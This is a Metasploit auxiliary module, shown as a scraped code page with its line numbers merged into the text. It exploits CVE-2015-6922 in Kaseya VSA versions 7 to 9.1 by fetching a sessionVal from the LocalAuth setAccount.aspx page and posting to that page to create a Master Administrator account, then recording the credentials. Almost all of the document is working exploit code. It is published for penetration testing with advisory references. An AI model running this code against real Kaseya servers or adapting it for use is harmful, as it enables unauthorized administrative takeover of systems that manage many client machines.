Path: blob/master/modules/auxiliary/admin/http/kaseya_master_admin.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Kaseya VSA Master Administrator Account Creation',14'Description' => %q{15This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new16Master Administrator account. Normally this page is only accessible via the localhost17interface, but the application does nothing to prevent this apart from attempting to18force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and19v9.0.0.3.20},21'Author' => [22'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module23],24'License' => MSF_LICENSE,25'References' => [26['CVE', '2015-6922'],27['ZDI', '15-448'],28['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Kaseya/kaseya-vsa-vuln-2.txt'],29['URL', 'https://seclists.org/bugtraq/2015/Sep/132']30],31'DisclosureDate' => '2015-09-23',32'Notes' => {33'Stability' => [CRASH_SAFE],34'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],35'Reliability' => []36}37)38)3940register_options(41[42OptString.new('TARGETURI', [ true, 'The Kaseya VSA URI', '/']),43OptString.new('KASEYA_USER', [true, 'The username for the new admin account', 'msf']),44OptString.new('KASEYA_PASS', [true, 'The password for the new admin account', 'password']),45OptString.new('EMAIL', [true, 'The email for the new admin account', '[email protected]'])46]47)48end4950def run51res = send_request_cgi({52'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),53'method' => 'GET'54})5556if res && res.body && res.body.to_s =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/57session_val = ::Regexp.last_match(1)58else59print_error('Failed to get sessionVal')60return61end6263print_status("Got sessionVal #{session_val}, creating Master Administrator account")6465res = send_request_cgi({66'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),67'method' => 'POST',68'vars_post' => {69'sessionVal' => session_val,70'adminName' => datastore['KASEYA_USER'],71'NewPassword' => datastore['KASEYA_PASS'],72'confirm' => datastore['KASEYA_PASS'],73'adminEmail' => datastore['EMAIL'],74'setAccount' => 'Create'75}76})7778unless res && res.code == 302 && res.body && res.body.to_s.include?('/vsapres/web20/core/login.asp')79print_error('Master Administrator account creation failed')80return81end8283print_good("Master Administrator account with credentials #{datastore['KASEYA_USER']}:#{datastore['KASEYA_PASS']} created")8485connection_details = {86module_fullname: fullname,87username: datastore['KASEYA_USER'],88private_data: datastore['KASEYA_PASS'],89private_type: :password,90workspace_id: myworkspace_id,91access_level: 'Master Administrator',92status: Metasploit::Model::Login::Status::UNTRIED93}.merge(service_details)94create_credential_and_login(connection_details)95end96end979899